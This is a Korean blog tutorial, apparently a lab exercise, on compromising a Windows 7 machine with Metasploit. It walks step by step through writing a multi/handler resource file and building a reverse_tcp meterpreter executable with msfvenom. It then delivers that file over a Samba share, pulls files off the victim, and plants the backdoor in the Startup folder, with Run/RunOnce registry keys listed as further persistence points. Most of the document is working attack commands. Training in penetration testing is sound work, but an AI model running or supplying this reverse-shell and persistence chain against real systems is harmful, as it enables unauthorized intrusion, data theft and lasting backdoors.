본문 바로가기

Learning/└◆Metasploit

metasploit 09. meterpreter를 이용한 윈도우즈 시스템 장악

[실습] 메타스플로잇을 사용하여 윈도우즈 시스템 장악(meterpreter를 이용한 Reverse TCP 공격)


    이전 실습 중 아래 프로그램을 사용 했었다. (쉘을 통해서 사용하는 방식)

java/shell/bind_tcp

java/shell/reverse_tcp  

    다음은 shell이 아닌 meterpreter 방식 (명령어를 수행하는 방식, 커넥션이 이루어진 이후 meterpreter수행)

java/meterpreter/bind_tcp

java/meterpreter/reverce_tcp

운영체제의 버전 마다 사용하는 명령어가 각 다르기 때문에 meterpreter에서 해당 운영체제의 명령어로

전환하여 사용할 수 있다.



사용시스템

- KaliLinux

- windows 7

 

메타스플로잇의 메터프리터(Meterpreter)에 대해서

루비(Ruby) 기반의 스크립트를 통해 취약점을 이용하여 대상 시스템에 침투한 후 간단한 명령어를 

이용해 시스템의 정보를 획득할 수 있는 기능이다.

메타스플로잇에서 지원하는 라이브러리를 이용하기 때문에 어떤 방법을 이용해서 정보를 획득할 

것인지에 대한 아이디어만 있다면 좋은 기능을 개발할 수 있다.

 

 

(전제조건) 메터프리터는 대상 서버에 침투가 이루어졌다는 가정하에 수행되는 것이기 때문에 여러가지 방법

(EX: 톰캣 취약점)이 선행적으로 수행해야 한다.

내 프로그램에 리슨 상태로 동작하는 데몬과 상대 서버에 악성 프로그램이 존재 해야 한다. 

 

리소스(Resource) 파일로 시스템 침투 환경 만들기

취약점을 통해 침투를 통해 환경 만들기

취약점을 통해 침투한 후 백도어(Backdoor, 악성코드)를 통해 환경 만들기

 

시스템 침투 환경을 만들기 위해 백도어를 이용하여 테스트 환경을 만드는 실습을 진행한다.

 

백도어 만들기(reverse_resource.rc)

msfconsole에서 동작하는 명령어를 미리 입력

(KaliLinux) 

# ifconfig | grep inet

inet addr:192.168.10.50 Bcast:192.168.10.255 Mask:255.255.255.0

inet6 addr: fe80::20c:29ff:fe13:974a/64 Scope:Link

inet addr:192.168.20.50 Bcast:192.168.20.255 Mask:255.255.255.0

inet6 addr: fe80::20c:29ff:fe13:9754/64 Scope:Link

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

 

# mkdir -p /root/bin 

# cd /root/bin

# vi reverse_resource.rc

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp 

set LHOST 192.168.20.50

set ExitSession false  <-- 세션을 종료하지 않음

exploit -j -z        <- 백그라운드로 실행

-> LHOST 부분에는 자신의 IP를 입력한다.

-> (KaliLinux) # msfconsole -r reverse_resource.rc


window7으로 보낼 악성 프로그램 만들기(위 PAYLOAD와 동일해야 한다.)

페이로드(Payload)를 사용하여 공격 코드 자동 생성

msfvenom (msfpayload CMD + msfcli CMD)


# find /usr/share/metasploit-framework/ -name "reverse_tcp*" -type f | grep windows

:118 루비언어 기반에 실제 동작하는 부분은 어셈블리언어로 만들어 있다.


위 Payload를 window에서 사용할 수 있게 변환 하는 과정

# cd /root/bin

# msfvenom -p windows/x64/meterpreter/reverse_tcp \  -p payload

LHOST=192.168.20.50 LPORT=4444 \

-f exe \        포맷방식 windows에서 사용할 수 있는 컴파일로 생성

-o reverse_test.exe 

-> LHOST에는 192.168.10.50 공격자의 IP 입력한다.

-> 생성된 reverse_test.ex 파일이 대상 시스템에서 실행하면 공격 시스템은 대상 시스템에 침투한 것과 동일한 환경이 된다.


# ls 

# file *

root@kali:~/bin# file * | grep reverse

reverse_resource.rc:          ASCII text

reverse_resource2.rc:         ASCII text

reverse_test.exe:             PE32+ executable (GUI) x86-64, for MS Windows




대상 시스템(windows7)reverse_test.exe 파일을 복사

대상 시스템에 reverse_test.exe 파일을 복사하는 방법으로 samba 서비스 사용

(KaliLinux) samba 서버를 통해 /share 디렉토리를 공유한다.

(windows 7) 공유 디렉토리에 접속한다.(\\192.168.20.50)

 

(KaliLinux)

# mkdir -p /share

# chmod 777 /share

# cp reverse_test.exe /share

 

# vi /etc/samba/smb.conf 

....

[share]

comment = Kali Linux Shared Directory

path = /share

browseable = yes

read only = no

writable = yes

public = yes

하단에 새로운 내용 입력


데몬 기동

# service smbd restart

# service smbd status

# smbclient -L localhost -N    확인

-> 정보 확인

-> (CentOS) # service smb restart

   (KaliLinux) # service smbd restart

서비스 이름 확인 

# service --status-all

# chkconfig --list

데몬 서비스 디렉토리 경로/ 영구적으로 서비스 온



(windows7)

공유 디렉토리에 접속하여 파일을 로컬로 복사한다.

\\192.168.20.50\share\resource_test.exe ---> 바탕화면으로 복사


 

칼리리눅스에서 reverse_resource.rc 파일을 이용하여 listen 상태로 실행

칼리 리눅스가 먼저 기동 되어 있어야한다 

(KaliLinux)

# cd /root/bin

# msfconsole -r reverse_resource.rc 


window 7 시스템에서 reverse_test.exe 파일 실행


칼리리눅스에서 연결된 세션을 확인하고 windows7의 시작프로그램에 악성 프로그램 등록

(KaliLinux)

KaliLinux에서 메세지 확인


<ENTER>

msf exploit(handler) > sessions -l

msf exploit(handler) > sessions -i 1

사용할 수 있는 커맨드 msf exploit(handler) > help 참조

meterpreter > sysinfo

meterpreter > ipconfig

meterpreter > route

meterpreter > getuid

meterpreter > pwd

meterpreter > lpwd

meterpreter > ls

meterpreter > download -r Security /root/bin


업로드 또한 가능하다.

시작프로그램에 악성 프로그램을 업로드 하여 재부팅시 자동실행 되게 한다.

meterpreter > cd AppData

meterpreter > cd Roaming

meterpreter > cd Microsoft

meterpreter > cd Windows

meterpreter > cd "Start Menu"

meterpreter > cd Programs

meterpreter > cd Startup

meterpreter > cd pwd

C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


[참고]

Windows XP 경우) C:\Documents and Settings\vb_test\시작 메뉴\프로그램\시작프로그램

Windows Vista 이후 경우) C:\<사용자명>\<사용자명>\AppData\Roaming\Microsoft\Windows \Start Menu\Programs\Startup


meterpreter > upload reverse_test.exe .

meterpreter > reboot

<ENTER>

msf exploit(handler) > quit

***************************************************************************************************************************************

운영체제 실행시 자동 실행되게 하는 방법

-> 시작 프로그램의 폴더 위치 :

C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

-> 윈도우 재부팅 시에 실행할 프로그램은 다음 중 하나의 레지스터에 등록되어야 된다.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winodws\Current Version\Run

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\RunOnce

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\RunOnce

-> 사용자 로그인시에 실행할 프로그램은 다음 위치에 등록되어야 한다.

(Windows XP 경우) C:\Documents and Settings\vb_test\시작 메뉴\프로그램\시작프로그램

(Windows Vista 이후 경우) C:\<사용자명>\<사용자명>\AppData\Roaming\Microsoft\Windows \Start Menu\Programs\Startup

***************************************************************************************************************************************